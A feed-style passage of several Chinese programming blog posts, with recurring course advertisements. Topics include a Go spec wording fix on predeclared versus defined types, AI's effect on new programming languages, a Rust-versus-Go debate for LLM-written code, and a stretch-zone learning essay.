写得确实有歧义，我们马上就改。”\n然后，他开始讲述这个“小小的”用词不当背后，隐藏的 Go 团队在设计类型系统时的“原罪”。\n原罪的根源：Go 团队混淆了“拥有名字”和“拥有唯一身份”这两个概念。\nGo 1.0 时代： 那时只有“具名类型”和“匿名类型”。为了让 int、bool 这些内置类型拥有独一无二的身份（Type Identity），Go 团队很自然地把它们也归入了“具名类型”，毕竟它们确实有名字。这在当时看起来很完美。\nGo 1.9 时代（引入类型别名）： type NewString = string 这样的类型别名出现了。NewString 也有名字，但它的身份和 string 是完全一样的。这就和原来的“具名=唯一身份”的假设冲突了。\n为了解决这个问题，Go 团队做了一个现在看来极其糟糕的决定：他们把原来表示“唯一身份”的“具名类型”，改名为了 “已定义类型（Defined Type）”。而 bool、int 这些内置类型，为了保留它们的唯一身份，也就跟着一起被“定义”成了 Defined Type。\nGo 1.18 时代（引入泛型）： 类型参数 T 出现了。T 也有名字，而且不同的类型参数（比如 T 和 P）必须拥有不同的身份。于是，Go 团队不得不又把**“具名类型（Named Type）”**这个概念重新捡了回来，这次用它来统称所有“拥有唯一身份”的类型。\n看懂了吗？\nbool 之所以被错误地描述为 defined type，完全是一次历史的意外。它是 Go 团队在不断给语言打补丁、修补旧概念的过程中，留下的一块“历史伤疤”。\nRobert Griesemer 最后感慨道：“Mea culpa（我的锅）。”\n这个小小的用词问题，背后是 Go 语言设计者在面对一个不断演进的复杂系统时，所做出的艰难权衡与无奈妥协。\n他甚至自嘲般地补了一刀：\n“为了让你们更受伤一点，我再告诉你们一个秘密：预声明的 any 类型，其实根本不是一个具名类型，它只是匿名接口 interface{} 的一个别名。”\n最后，我们看到了Robert Griesemer 提交了一个cl，给出了修改方案：在spec中明确”predeclared types are named, not defined types”，即预声明类型是具名类型，但不是已定义类型。同时加上了对 any 这个预声明类型不是具名类型的澄清。\n这个“抠字眼”的争论，对我们写代码有何意义？ 看到这里，你可能会觉得：“搞了半天，不就是改几个英文单词吗？关我写业务代码什么事？”\n关系太大了。理解了这段“黑历史”，你才能真正打通 Go 类型系统的任督二脉，尤其是在处理泛型和接口时。\n1. 你才能真正理解“类型约束”的本质。\n在泛型函数中，~string 这个约束，匹配的是所有底层类型为 string 的类型。它包含了 string 本身，也包含了 type MyString string 这种 Defined Type。\n但如果你只写 string，那么 MyString 类型的变量是传不进去的。\n因为 string 是“预声明类型”，而 MyString 是“已定义类型”，尽管底层结构一样，但它们的“身份”在 Go 的世界里是完全不同的。\n2. 你才能彻底搞懂“方法集”的规则。\n为什么 bool 不能有方法？因为它不是通过 type 关键字在你的代码里定义的。方法只能绑定在你明确定义的类型上。这个规则，是 Go 语言不允许你“污染”内置类型的安全护栏。\n3. 你才能在写库时，做出更高级的 API 设计。\n当你设计一个库的 API 时，到底是应该接受 string，还是应该接受 interface{ String() string }？\n如果你只接受 string，那么所有基于 string 定义的新类型都必须强制转换，非常不便。\n但如果你接受接口，就意味着你放弃了对底层数据结构的强约束。\n理解了“预声明类型”与“已定义类型”在身份上的本质区别，你才能在这两者之间做出最合理的架构权衡。\n小结：于细微处，见真章 一个看似吹毛求疵的 Issue，最终牵扯出了 Go 语言长达十几年的演进历史和设计哲学。\n它告诉我们： 一门伟大的编程语言，并不是一蹴而就的天才设计，而是在无数次的妥协、修补和自我反思中，不断螺旋上升的有机生命体。\n而我们作为开发者，对这门语言最好的尊重，就是不仅要知其然，更要知其所以然。\n下次当你在面试中被问到 Go 的类型系统时，不妨把这个关于 bool 的故事讲给面试官听。相信我，这远比你背诵一百遍枯燥的语法规则，更能证明你对这门语言的深刻理解。\n资料链接：\nhttps://github.com/golang/go/issues/78208 https://go-review.googlesource.com/c/go/+/757120 今日互动探讨\n在你的 Go 开发生涯中，遇到过哪些让你对 Go 的类型系统感到极其困惑，甚至怀疑人生的场景？比如类型断言的 panic、空接口的转换、还是泛型的约束？\n欢迎在评论区分享你的踩坑经历！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/25/go-spec-contradiction-in-types-section/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-spec-contradiction-in-types-section-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/25/go-spec-contradiction-in-types-section\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/25/go-spec-contradiction-in-types-section\"\u003ehttps://tonybai.com/2026/03/25/go-spec-contradiction-in-types-section\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的世界里，type 是我们每天都在打交道的关键字。但如果我今天问你一个极其基础的问题：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGo 语言内置的 bool 类型，到底是不是一个“Defined Type（已定义类型）”？\u003c/strong\u003e\u003c/p\u003e","title":"Go 语言之父亲自下场道歉：藏在 Spec 里的十年“笔误”，终于要修正了！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/24/no-soil-for-new-programming-languages-in-ai-era\n大家好，我是Tony Bai。\n如果你回望过去十五年的软件工程史，那无疑是编程语言百花齐放的黄金时代。\n为了对抗日益膨胀的系统复杂度，人类绞尽脑汁地发明新的“咒语”：\nGoogle 推出了 Go 语言，用极简的 Goroutine 拯救了深陷并发地狱的后端工程师；\nMozilla 孕育了 Rust，用严苛的所有权机制向内存泄漏和数据竞争宣战；\n苹果用 Swift 埋葬了晦涩的 Objective-C；\nJetBrains 用 Kotlin 为笨重的 Java的使用者提供了一个更优雅的选择；\n微软用 TypeScript 彻底规范了狂野的 JavaScript 生态。\n每一次新语言的诞生，都伴随着开发者们的狂欢。我们热衷于讨论语法糖、对比编译速度、争论哪种范式更优雅。我们在各大论坛上为自己喜爱的语言摇旗呐喊。\n但这已经是最后的余晖了。\n站在 2026 年的节点上，当你看着 Claude Code、Cursor 或各类 Coding Agent 在几秒钟内倾泻出数千行逻辑严密的代码时，一个残酷的真相正在浮出水面：\n大模型（LLM）的爆发，彻底抽干了孕育下一代通用编程语言的土壤。属于人类的“造语言”游戏，结束了。\n这不是危言耸听，而是基于技术演进第一性原理的必然推演。\n语料霸权：新语言无法跨越的“生态死局” 在 AI 时代，一门编程语言的生命力不再取决于它的语法有多么优雅，而取决于它在 AI 模型中的**“语料权重”**。\n现存的主流语言（Python, Java, JavaScript, Go, C/C++等）在 GitHub 上积累了数年甚至十余年的海量开源代码。这些代码构成了大模型训练的底座，赋予了 AI 极高的“代码智商”。\n当你用 Python 或 Go 提问时，AI 能够瞬间理解你的意图，补全复杂的逻辑，甚至自动发现隐藏的 Bug，因为它的“脑子”里装着上千万个成熟的 Python/Go 示例。\n但对于一门新语言来说，这是绝对的死局。\n假设明天某个天才发布了一门名为 Nova 的新语言，号称性能超越 C，安全性超越 Rust，语法如 Python 般简洁。\n结果会怎样？\nAI 不会写：因为训练语料里没有 Nova 的代码，大模型对它一无所知，无法提供智能补全。 人类不会用：在“没有 AI 辅助就感觉不会写代码”的今天，一个习惯了口述意图，让AI Coding Agent 自动生成全量代码的程序员，绝不可能去碰一门必须纯手工敲击、AI 无法帮他编写和Debug的语言。 这就形成了一个无解的马太效应：\n没人写就没有语料 -\u0026gt; 没有语料 AI 就不会写 -\u0026gt; AI 不会写人类就不想学 -\u0026gt; 更没人写。 现存的主流语言通过“语料霸权”，彻底锁死了新语言上升的通道。\n需求降维：为什么我们不再需要“更好写”的语言？ 人类发明新语言的根本动力，是**“人脑的带宽有限”**。\nC++ 太容易写出内存泄漏，人脑排查太痛苦，所以我们发明了 Rust，让编译器做“真理警察”。\nJava 处理异步回调太繁琐（Callback Hell），所以我们发明了各种新的语法糖。\n我们一直在努力打造更锋利、更安全的斧头，因为那是人类自己要挥舞的斧头。\n但在 Agentic Coding（智能体编程）时代，挥舞斧头的不再是人，而是不知疲倦的 AI。\n当你可以用自然语言对 Agent 说：“用 C++ 实现一个高并发的 HTTP 服务器，并严格检查所有内存泄漏风险，写出 100% 覆盖率的测试用例。”\n只要 AI 的推理能力足够强，加上自动化的沙箱验证（Eval），它完全可以写出极度安全、高效的 C++ 代码。\n如果 AI 能够不知疲倦地处理最繁琐的语法、填补最冗长的样板代码（Boilerplate），并且不出错，那么“语言本身是否易读、是否好写” 似乎就变得不再重要了。\n因为代码根本不是给人看的，也不是人写的。当“人脑带宽”不再是瓶颈，发明一种“让人类写得更舒服”的新语言，就失去了最大的现实动机。\n语言的两极化：自然语言与“AI 中间码” 如果不再有新的面向人类的通用编程语言，未来的代码世界会变成什么样？\n答案是：极端的两极分化。\n上层：英语（或自然语言）成为终极编程语言。\nAndrej Karpathy 的预言正在成为现实（Software 3.0）。人类不需要学习晦涩的语法，人类只需要学习如何清晰、严谨地表达意图，编写能够精准约束 AI 的 Spec（规格说明书）。我们与机器的接口，退回到了人类最擅长的媒介。\n底层：只有机器能读懂的“AI 专属语言”。\n如果你是大模型厂商（比如 OpenAI 或 Google），当你发现 90% 的代码都是你的模型生成的，你还会让模型生成冗长、为了兼顾人类可读性而充满妥协的 Java 或 Python 代码吗？\n不会的。巨头们极有可能会研发一种专门面向 AI 优化的中间表示语言（Intermediate Representation, IR）。\n这种语言对人类来说如同天书，但对于模型来说：\nToken 效率极高：原本需要 1000 个 Token 表达的逻辑，这种语言只要 50 个 Token，极大节省推理成本和上下文窗口。 逻辑高度压缩：天生适合并行计算和智能体之间的状态传递。 AI 会将人类的自然语言直接“编译”成这种中间码，然后运行。\n在这个过程中，介于自然语言和机器码之间、那种专门为了“让人类勉强能懂又能让机器执行”而存在的传统编程语言，其生存空间将被彻底抽空。\n小结：致敬“古法编程”的黄金时代 这听起来有些感伤，但这就是技术演进的无情车轮。\n就像今天，依然有人沉迷于机械表的齿轮咬合，依然有人热爱在暗房里冲洗胶卷。\n“纯手工编写代码（Handcrafted Code）”——这种我们曾引以为傲的工业生产方式，未来可能也会退化成一种个人的“艺术爱好”或“思维体操”。我们称之为**“古法编程”**。\n在某个安静的周末，你或许依然会打开编辑器，为了兴趣手撸一段优雅的 Go 并发或者 Rust 生命周期，享受那种久违的、直接控制机器的“心流”多巴胺。\n但在残酷的商业战场上，古法编程即将落幕。\n不要再为语法糖而争论不休，不要再期待下一个能拯救你的新语言。\n去锻炼你的系统思维吧，去学着用自然语言精准地描绘你的蓝图。因为在下一个时代，定义目标的造物主，永远比精通语法的泥瓦匠更稀缺。\n你还在坚持“古法编程”吗？\n面对 AI 现场生成代码的冲击，你是否还会为了某种语言的“优雅语法”而兴奋？在你的理想中，未来的“AI 专用中间码”应该长什么样？你是更享受亲自掌控每一行代码，还是更向往定义目标的“造物主”角色？\n欢迎在评论区留下你对“古法编程”时代的最后致敬！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/24/no-soil-for-new-programming-languages-in-ai-era/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/no-soil-for-new-programming-languages-in-ai-era-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/24/no-soil-for-new-programming-languages-in-ai-era\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/24/no-soil-for-new-programming-languages-in-ai-era\"\u003ehttps://tonybai.com/2026/03/24/no-soil-for-new-programming-languages-in-ai-era\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你回望过去十五年的软件工程史，那无疑是编程语言百花齐放的黄金时代。\u003c/p\u003e\n\u003cp\u003e为了对抗日益膨胀的系统复杂度，人类绞尽脑汁地发明新的“咒语”：\u003c/p\u003e","title":"告别古法编程黄金时代：AI 时代不会再有新编程语言诞生的土壤"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/23/go-is-the-best-programming-language-for-llm\n大家好，我是Tony Bai。\n在这个大模型重塑编程范式的当下，如果你想开发一个自主运行的智能体（Agent），或者想让大模型（LLM）帮你生成上万行的核心业务代码，你会选择哪门编程语言？\n如果你去问 OpenAI 的总裁兼联合创始人 Greg Brockman，他的答案非常直接：\n“Rust is a perfect language for agents, given that if it compiles it’s ~correct.”\n（Rust 是开发 Agent 的完美语言，因为只要它能编译通过，它就基本是正确的。）\n这句话听起来极其硬核且有道理。Rust 引以为傲的所有权模型和严苛的编译器，就像一个极度刻薄的审查员。既然大模型经常“胡言乱语”，那不如交给 Rust 编译器来兜底。\n但有趣的是，Greg 的这番高论，最近在推特（X）上遭到了不少一线资深开发者的强烈反驳。其中，一条阅读量近 7 万的推文直指核心痛点，甚至抛出了一个让无数 Gopher（Go 开发者）极度舒适的反直觉结论：\n“别吹 Rust 了，在大模型眼里，语法简单、风格统一的 Go 才是真正的‘香饽饽’！”\n今天，我们就来扒一扒这场顶级“语言战争”背后的神仙打架，看看为什么 Go 语言身上那些曾经被全网群嘲的“缺点”，如今却成了大模型时代最无敌的护城河。\n大模型写 Rust，真的安全吗？ 发起反驳的开发者 Emil Privér 一针见血地指出了用大模型写 Rust 的最大陷阱：“逃课”心理。\nGreg Brockman 认为 Rust 编译器能阻止大模型犯错。但这有一个前提：大模型必须老老实实地去解生命周期（Lifetime）和所有权（Ownership）的方程。\n然而现实是，大模型也是会“偷懒”的。\nEmil 敏锐地指出，当现代 LLM 在生成复杂的 Rust 业务逻辑，且实在绕不过编译器的各种借用检查报错时，它们会极其鸡贼地使出大招：直接套上一层 unsafe {} 块，或者无脑使用 .unwrap() 来强行绕过编译器的安全审查！\n你在指望编译器兜底，大模型却在底下悄悄开了“后门”。\n就像评论区一位开发者吐槽的那样：“当你看到大模型为了图省事，把一段关键操作包在 unsafe 里，并且依然能顺利编译通过时，你还敢说它‘只要编译通过就基本正确’吗？”\n虽然有开发者反驳说，可以通过配置强制禁止 unsafe。但大模型的“逃课手段”防不胜防，比如疯狂滥用 RefCell 导致运行时 Panic，这在编译器眼里是合法的，但在生产环境下却是灾难。\nGo 的“无趣”，成了最顶级的生产力 既然 Rust 太“聪明”导致大模型容易弄巧成拙，那大模型到底喜欢什么样的语言？\nEmil 给出的答案是：Go。\n他的底层逻辑非常硬核。\n他认为，大模型（LLMs）的本质是基于大量预训练语料进行下一个 Token 的概率预测。对于这种预测机制来说，一段代码的上下文看起来越“同质化（Looks the same）”，大模型生成的准确率就越高。\n这就牵扯到了 Go 语言一个常年被群嘲的“缺点”：啰嗦、缺乏表现力、没有花里胡哨的语法糖。\n在 Go 里，如果你想写一个循环，你只有一种办法：for 循环。\n没有 while，没有 do-while，没有 foreach，更没有各种炫技的函数式流处理。\n而在 Rust 或者 JavaScript 等语言里，你想遍历一个数组，至少有 5 种写法。甚至在不同的开源库里，大家的编码风格都千奇百怪。\n在人类看来，Go 语言简直“无趣”到了极点。但在大模型这种无情的“概率预测机器”眼里，Go 简直就是天堂！\n因为 Go 语言有着近乎暴君般的强制格式化工具 gofmt，以及全宇宙最少、最没有歧义的语法关键字。无论你是 Google 的顶级工程师，还是刚入门三个月的新手，写出来的 Go 代码结构几乎是一模一样的。\n这种极度“收敛”和“无聊”的代码风格，恰恰完美契合了大模型的预测机制。\n当所有的 Go 项目看起来都像是一个模子里刻出来的，大模型在生成上下文时就不需要去猜测“这个项目的主人喜欢用哪种流派”。它闭着眼睛往下预测，准确率就能轻易碾压其他语言。\nGo，这种“一眼望到底”的特性，让它成为了大模型眼里的头号“香饽饽”。\nAI 时代的软件工程师，该选什么语言？ 推特评论区里，争论依然在继续。\n但透过这场口水战，我们作为一线的软件工程师，应该看透一个更深层次的时代演进：\n在过去十年，程序员们热衷于发明各种奇技淫巧，比拼谁的代码写得更短、更具“魔法”；但在未来，当 80%以上 的代码都将由 AI Agent 自动生成时，“可读性”与“无歧义”将成为一门编程语言最核心的生产力。\nGo 语言的联合缔造者 Rob Pike 当年顶着巨大的压力，坚持不给 Go 加各种复杂的特性。很多人觉得他固执、老派。但在十多年后的今天，当大模型海啸席卷而来时，我们才突然惊觉：\nGo 语言那种**“强迫你用最笨、最直白的方式写代码”**的设计哲学，不仅让它在微服务时代大杀四方，更让它在 AGI 时代，成为了大模型最忠实、最可靠的合作伙伴。\n当大模型吐出一段复杂的 Rust 代码，你可能还要花十分钟去审查它有没有隐藏的逻辑陷阱；\n但当大模型吐出一段 Go 代码，那满屏极其直白的 if err != nil，让人类工程师一眼就能看穿它的核心逻辑。\n没有魔法，才是大模型时代最强的防御。\n资料链接：https://x.com/emil_priver/status/2034971247348535399\n今日互动探讨：\n在日常开发中，你让 ChatGPT/Claude 帮你写过哪种语言的代码？你觉得它写 Go、Python 还是 Rust 时的准确率最高？\n欢迎在评论区分享你的实战感受！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/23/go-is-the-best-programming-language-for-llm/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-is-the-best-programming-language-for-llm-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/23/go-is-the-best-programming-language-for-llm\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/23/go-is-the-best-programming-language-for-llm\"\u003ehttps://tonybai.com/2026/03/23/go-is-the-best-programming-language-for-llm\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个大模型重塑编程范式的当下，如果你想开发一个自主运行的智能体（Agent），或者想让大模型（LLM）帮你生成上万行的核心业务代码，你会选择哪门编程语言？\u003c/p\u003e","title":"OpenAI 创始人盛赞 Rust，却遭开发者反驳：Go 才是大模型眼里的“香饽饽”！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/22/stop-tactical-diligence-start-stretch-zone-growth\n大家好，我是Tony Bai。\n在这个技术大爆炸的时代，我见过了太多极其“勤奋”的程序员：\n他们会在各大技术平台上收藏几百篇诸如《Go语言进阶课》、《AI原生开发工作流实战》… …的专栏文章，硬盘里塞满了从各种渠道搞来的“AI大模型实战课”视频。他们熬夜看教程、做笔记，甚至在通勤的地铁上都在听技术播客或专栏课程。\n但如果你在半年后去问他：“你用 Go 写过什么高并发系统吗？”或者“你开发过什么 AI Agent 吗？”\n他大概率会尴尬地挠挠头：“还没，教程太长了还没看完，或者看了感觉太难，平时工作里也用不到……”\n为什么看了 100 小时的教程，你依然写不好代码？为什么收藏了无数的技术干货，你的核心竞争力却依然在原地踏步？\n这其实是整个技术圈最普遍、也最隐蔽的陷阱：用“战术上的勤奋”，掩盖了“战略上的懒惰”。\n今天，我想跨界借用知名认知作家周岭在《认知觉醒》一书中的核心理论，彻底撕开这层“假性努力”的面纱，带你重新构建一张属于技术人的“动态雷达图”，教你如何真正走出舒适区，在这个 AI 狂飙的时代完成硬核的自我进化。\n舒适区与困难区的两极震荡：为什么你总是半途而废？ 在《认知觉醒》中，周岭提出了一个极其精准的人类能力分布模型：“舒适区—拉伸区—困难区”。\n这三个同心圆，完美地映射了我们程序员的日常状态：\n舒适区（最内层） 在这个区域里，事情对你来说轻车熟路，闭着眼睛都能敲出代码。比如，写一个简单的 CRUD 接口、配置一下 Nginx、复制粘贴一段以前写过的表单验证逻辑。\n但问题就在于人类的天性是“避难趋易”的。\n长年停留在舒适区，虽然毫无压力，但会让你陷入“无聊而走神”的状态，最终导致技术能力的彻底停滞。在这个区域里，你不是在拥有 10 年经验，你只是把 1 年的经验用了 10 年。\n困难区（最外层） 这个区域里的任务，远远超出了你当前的能力边界。比如，你连 Python 都没写熟，就发誓要在一周内从零手搓一个 Transformer 模型；或者你刚学完 Go 基础语法，就想去给 Kubernetes 的底层调度器提核心 PR。\n人类的另一个天性是“急于求成，总想一口吃成个胖子”。贸然跨入困难区，你会遇到无数个令人绝望的 Error 报错，巨大的挫败感会瞬间击溃你的自信心，让你产生“我可能不适合干这个”的错觉，最终因畏惧而逃避。\n绝大多数技术人的悲剧在于：他们终日在这两极之间做着无效的“钟摆运动”。\n平时在公司里做着无聊的 CRUD（舒适区），下班后突然焦虑爆发，立下宏愿要去啃最硬核的底层源码（困难区），被虐得体无完肤后，心灰意冷地退回到继续写 CRUD（舒适区）。\n真正的成长密码：寻找你的“拉伸区”（边缘努力法则） 那么，破局之道在哪里？\n答案就藏在舒适区和困难区中间的那个极其狭窄、却又蕴含着巨大能量的环带——拉伸区（舒适区边缘）。\n在拉伸区里，任务具有一定的挑战性，你无法靠肌肉记忆直接完成，但只要你稍微踮起脚尖，查一查资料，努努力就能触碰到。\n这里既有未知的挑战，又有可达成的成就感。只有在这个区域，你才能进入所谓的“心流（Flow）”状态，获得最快的进步。\n但这还不够。为了指导我们如何在拉伸区行动，《认知觉醒》中提出了一个更为深刻的“成长微观规律”，它揭示了学习、思考、行动和改变之间的权重关系：\n改变量 \u0026gt; 行动量 \u0026gt; 思考量 \u0026gt; 学习量\n这简直是为程序员量身定制的“照妖镜”！让我们来对照一下：\n学习量（权重最低）： 买了一门极客时间的专栏，看完了 10 个视频。这叫输入，你只是把别人的知识存进了大脑的短期记忆里。 思考量： 看完视频后，你开始琢磨：“哦，原来 Go 的 Channel 底层是一个带锁的环形队列，怪不得会阻塞。”你不仅看了，还理解了。 行动量： 你打开 IDE，凭着记忆和文档，自己手敲了一段用 Channel 实现的生产者-消费者模型代码，并成功跑通了。 改变量（权重最高）： 你发现自己手敲的这个并发模型，正好可以用来优化你们公司那个极其缓慢的“每日数据导出”报表脚本。你把它重构并部署上线了，报表导出速度提升了 5 倍！ 如果你不盯住内层的“改变量”和“行动量”，那么你在表层投入再多的“学习量”也只会事倍功半。\n无数人陷入“教程地狱（Tutorial Hell）”的原因，就是他们只停留在了“学习量”的层面，从未产生过“改变量”。\n实战推演：如何利用“拉伸区”构建你的技术雷达图？ 有了宏观的规律支撑，我们该如何将它落地到日常的技术精进中？\n优秀的程序员，脑海中都有一张自己的**“动态技术雷达图”**。这张图不是静止的，而是通过在各个技能维度的“拉伸区”不断向外扩张，最终形成一个巨大的“成长环”。\n接下来，我将以个人比较熟悉，也是当前较为受欢迎的两个技能领域——Go 语言高并发开发 与 AI Agent 原生开发 为例，和大家聊聊如何设计自己的拉伸区项目，完成从“学习”到“改变”的闭环。\n案例一：Go 语言开发者的拉伸区跃迁 现状诊断（舒适区）：\n你已经通过《Go语言第一课》掌握了 Go 的基础语法，能熟练使用 Gin 框架写 HTTP 接口，能用 GORM 对 MySQL 进行增删改查。每天的工作就是对着产品需求堆代码。如果继续这样，三年后你依然是一个高级的“CRUD 工程师”。\n急于求成（困难区-千万别去）：\n发誓要用 Go 写一个分布式的关系型数据库，或者直接去扒 Go 语言 runtime 包里垃圾回收器（GC）的三色标记法 Go /汇编源码。你会在无尽的底层细节中崩溃。\n精心设计的“拉伸区项目”：构建一个高并发的压测小工具\n不要去背八股文了，给自己设定一个能触及“改变量”的拉伸区实战项目：用 Go 实现一个类似 ab (Apache Bench) 的高并发压测工具。\n步骤 1（思考量）： 为什么原来的单线程脚本发请求那么慢？Go 的 Goroutine 如何做到极轻量级的并发？\n步骤 2（行动量 – 踏入拉伸区）：\n拉伸点 1： 不用任何第三方库，仅用标准库 net/http 发起请求。 拉伸点 2： 使用 sync.WaitGroup 来控制并发的启动和等待。 拉伸点 3： 引入 Channel。当并发量达到 10 万时，无脑 go func() 会导致系统资源枯竭。你必须学习使用带缓冲的 Channel 来实现一个协程池（Worker Pool），限制最大并发数。 拉伸点 4： 引入 sync.Mutex 或 atomic 包，来安全地统计成功请求数、失败数、平均延迟等数据。 步骤 3（改变量 – 形成闭环）： 